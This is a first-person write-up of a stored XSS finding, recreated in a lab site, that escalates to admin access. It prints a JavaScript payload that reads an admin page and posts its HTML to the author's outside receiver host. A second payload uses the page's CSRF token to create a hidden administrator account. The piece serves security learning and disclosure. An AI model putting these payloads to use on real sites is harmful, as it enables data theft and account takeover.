Weaponised XSS Payload (Write Up)

Several months ago, I found a Stored XSS within the Contacts feature of a particular site. This is kinda private site, therefore for the sake of this document and to maintain its privacy, we will refer to it as xss-labs.test.

In order to better illustrate and explain the implications of this discovery, I’ve taken the initiative to create a simple labs environment that replicates the conditions of this finding so screenshot and others are not taken from real site.

I received an XSS alert as usual after entering and submitting the payload in the form. The information I received was standard, including User-agent, User IP, DOM HTML Content, and more. However, I didn’t obtain any user Cookies from this process.

I found out that there are other pages in the HTML Content that only admins can visit, such as /manage/users, /manage/contents, etc.

Weaponised XSS Payload

When I realized that there were other pages potentially usable on the web, I attempted to make requests to those endpoints. I did this to obtain HTML content, allowing me to review what I might find on other pages.

I added the following script in the Custom Payload column of ezXSS. This will cause the target website to execute an additional payload that I provided, following the execution of the main payload.

fetch('http://xss-labs.test/admin/users')
  .then(response => {
    if (!response.ok) {
        throw new Error('Network response was not ok');
    }
    return response.text();
  })
  .then(html => {
    // Create a new XMLHttpRequest object
    var xhr = new XMLHttpRequest();
    // Specify the type of request, URL, and that it's asynchronous
    xhr.open("POST", "https://myezxss.domain/assets/logs/receiver.php", true);
    // Set request headers
    xhr.setRequestHeader("Content-Type", "application/x-www-form-urlencoded");
    // Define what happens on successful data submission
    xhr.onload = function () {
      if (xhr.status >= 200 && xhr.status < 300) {
        // Handle the response here
        console.log('Success:', xhr.responseText);
      } else {
        throw new Error('The request was successful, but the response status was not in the range 200-299');
      }
    };
    // Define what happens in case of an error
    xhr.onerror = function () {
      console.error('There was an error with the request.');
    };
    // Send the request with the HTML content
    xhr.send('htmlContent=' + encodeURIComponent(html));
  })
  .catch(error => {
    console.error('There was a problem with your fetch operation:', error);
  });

The provided script is straightforward JavaScript code. It sends a request to http://xss-labs.test/admin/users. Upon successful execution, it forwards the HTML content to https://myezxss.domain/assets/logs/receiver.php, which I’ve previously set up. The file receiver.php is a basic PHP file that receives the POST request and saves the data to an HTML file, allowing me to view and read the content.

Weaponised XSS Payload

Content of /admin/users (1)

Weaponised XSS Payload

Content of /admin/users (2)

While examining the content of the /admin/users page, I identified a hyperlink (highlighted in red text.) This link directed to a page specifically designed for the creation of a new user. Intrigued by this finding, I decided to put it to the test. I attempted to apply the same process I had used before to this particular URL, hoping to uncover additional insights or potential vulnerabilities.

Weaponised XSS Payload

Content of /admin/users/create (1)

Content of /admin/users/create (1)

After examining the input form closely, I created a script to submit the form with the name, username, and password fields. For the _token, I used the querySelector() method to retrieve its value.

// Prepare the URL
const url = 'http://xss-labs.test/admin/users/add';
// Create a FormData object and append the input values
let formData = new FormData();
formData.append('name', 'Hekermen');
formData.append('username', 'heker');
formData.append('password', 'heker');
formData.append('_token', document.querySelector('input[name="_token"]').value);
// Use the Fetch API to submit the form data
fetch(url, {
    method: 'POST',
    body: formData
})
.then(response => response.text())
.then(data => console.log(data))
.catch(error => console.error('Error:', error));

After applying the new payload in Custom Payload on ezXSS, I was able to create a new account on the target website. Now, all I need to do is log in using the username and password I created to access the admin panel of the target successfully.

Weaponised XSS Payload

Logged in using my own account

Other references: